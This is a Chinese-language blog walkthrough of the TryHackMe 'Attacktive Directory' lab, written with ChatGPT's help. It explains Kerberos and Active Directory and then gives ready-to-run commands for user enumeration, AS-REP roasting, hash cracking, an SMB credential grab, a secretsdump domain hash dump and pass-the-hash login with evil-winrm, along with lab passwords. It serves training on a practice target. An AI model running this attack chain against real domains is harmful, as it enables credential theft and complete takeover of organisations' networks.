今天的內容會比較難,有些部分我自己也沒有很懂,內容有使用大量chatgpt輔助說明.
今天打的靶機是TryHackMe平台上的Attacktive Directory
https://tryhackme.com/r/room/attacktivedirectory
Active Directory (AD) 是由 Microsoft 開發的目錄服務,主要用於 Windows 網路環境。AD 是一個集中的數據庫,儲存關於網路中的用戶、計算機、群組、服務以及其他資源的信息。通過 AD,網路管理員可以管理用戶帳戶、應用程式、文件夾以及其他網路資源。
Kerberos 是一個網路身份驗證協議,最初由麻省理工學院 (MIT) 開發。它是一個基於票證的系統,旨在保護通過不安全網路(如局域網或互聯網)的通訊過程,並確保數據的保密性和完整性。Kerberos 是 Active Directory 中的核心身份驗證機制。
在 Active Directory 環境中,Kerberos 是默認的身份驗證協議。當用戶登錄到一個 Windows 域時,Kerberos 協議會被用來驗證用戶的身份。用戶首先向 KDC 發送身份驗證請求,獲取 TGT,然後用 TGT 來請求訪問特定資源的票證(如文件共享、應用程式等)。這樣的設計使得 AD 網路中的身份驗證過程既安全又高效。
Kerberos 與 Active Directory 的結合使得網路身份驗證變得更為安全,並且有效地管理了多用戶、多資源的訪問控制。
.ovpn
sudo openvpn --config thm.ovpn
ifconfig
命令來查看分配的 VPN IP 位址。enum4linux
。enum4linux
工具來列舉出 NetBIOS 網域名稱,它應該是 THM-AD
。.local
。下載並使用 Kerbrute 工具:使用 Kerbrute 來列舉用戶名稱。你可以從 GitHub 上下載並配置這個工具。
問題解答:
./kerbrute userenum -d spookysec.local --dc <IP位址> /path/to/userlist.txt
SVC admin
是值得注意的帳戶,因為它會返回密碼哈希。backup
是另一個值得注意的帳戶,因為它可能在後續的攻擊中有用。以上就是列舉 Active Directory 的過程。接下來我們將深入探討如何利用這些資訊進行漏洞利用。
接下來將嘗試利用 Kerberos 中的一個漏洞,這種攻擊方法被稱為 ASREPRoasting
。這個攻擊方法適用於那些設定了 "不需要預先驗證" 權限的使用者帳戶。這意味著該帳戶在請求 Kerberos 票據時不需要提供有效的身份驗證。
為了實現這個攻擊,我們將使用 Impacket
工具中的 GetNPUsers.py
腳本。這個工具將幫助我們從金鑰分配中心 (Key Distribution Center, KDC) 中查詢 ASReproastable
帳戶。
Impacket
,你可以通過 GitHub
進行下載。下載後,切換到 Impacket
工具的 examples
目錄。cd /opt/impacket/examples
svc-admin
帳戶發起攻擊,並試圖獲取其 Kerberos 票據。python3 GetNPUsers.py spookysec.local/svc-admin -no-pass -dc-ip <目標 IP>
svc-admin
的 TGT (票據授權票據) 以及相關的 hash 值。現在我們已經獲得了 svc-admin
的 hash 值,我們需要利用字典攻擊來破解這個 hash,從而獲得 svc-admin
的明文密碼。
svc-admin
的 hash 保存到一個檔案中,例如 hash.txt
。nano hash.txt
John the Ripper
工具,並指定字典檔案來破解 hash。john hash.txt --wordlist=/path/to/passwordlist.txt
svc-admin
的明文密碼,例如 management2005
。現在我們擁有 svc-admin
的憑證,可以嘗試列舉並存取域控制器上的共享資料夾。
smbclient
工具列舉所有的共享資料夾。sudo smbclient -U spookysec.local/svc-admin -L //目標IP
結果:
你應該會看到幾個共享資料夾,包括一個名為 backup
的資料夾,這個資料夾一般不會出現在這裡。
存取 backup 共享:
嘗試連接並存取 backup
共享,並下載 backup_credentials.txt
檔案。
sudo smbclient //目標IP/backup -U spookysec.local/svc-admin
get backup_credentials.txt
![](https://i.imgur.com/LWUPnTJ.png)
![](https://i.imgur.com/xhy7ihp.png)
![](https://i.imgur.com/5uDmg3c.png)
backup_credentials.txt
中的內容,這將給我們另一個帳戶的憑證。在這部分中,我們將利用 backup
帳戶的權限來取得更多有價值的資訊,這些資訊將幫助我們進一步提升權限,直至獲得域控制器的完全控制權。
目標: 利用 backup
帳戶提升我們的權限,最終取得管理員權限。
工具: 我們將使用 Impacket 工具中的 secretsdump.py
來提取域中的所有帳戶密碼雜湊。
運行 secretsdump.py:
首先,進入 Impacket 的 examples 目錄,然後運行 secretsdump.py 工具。
cd /opt/impacket/examples
sudo python3 secretsdump.py spookysec.local/backup:backup2517860@<目標IP> -dc-ip <目標IP>
結果: 運行此命令後,你應該能夠看到所有帳戶的密碼雜湊,特別是 Administrator
帳戶的 NTLM hash。
Administrator:500:aad3b435b51404eeaad3b435b51404ee:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:::
現在我們擁有了 Administrator
帳戶的 NTLM hash,我們可以利用這個 hash 來直接以管理員身份登入域控制器。
使用 Evil-WinRM 工具:
我們將使用 evil-winrm
工具,該工具允許我們僅使用 hash 來登入帳戶。
sudo evil-winrm -i <目標IP> -u Administrator -H <NTLM hash>
結果:
運行此命令後,你將成功以 Administrator
身份登入域控制器,並擁有完全的管理員權限。
whoami
THM-AD\\Administrator
現在我們已經擁有管理員權限,我們可以查找並提交三個帳戶的旗標,包括 Administrator
、svc-admin
和 backup
。
查找和提交旗標:
type
命令讀取檔案內容,並將旗標提交至 TryHackMe 平台。cd C:\\Users\\Administrator\\Desktop
type root.txt
cd C:\\Users\\svc-admin\\Desktop
type user.txt.txt
cd C:\\Users\\backup\\Desktop
type PrivEsc.txt
結果: 成功提交後,應該就能完成了所有挑戰,並解鎖了相應的成就。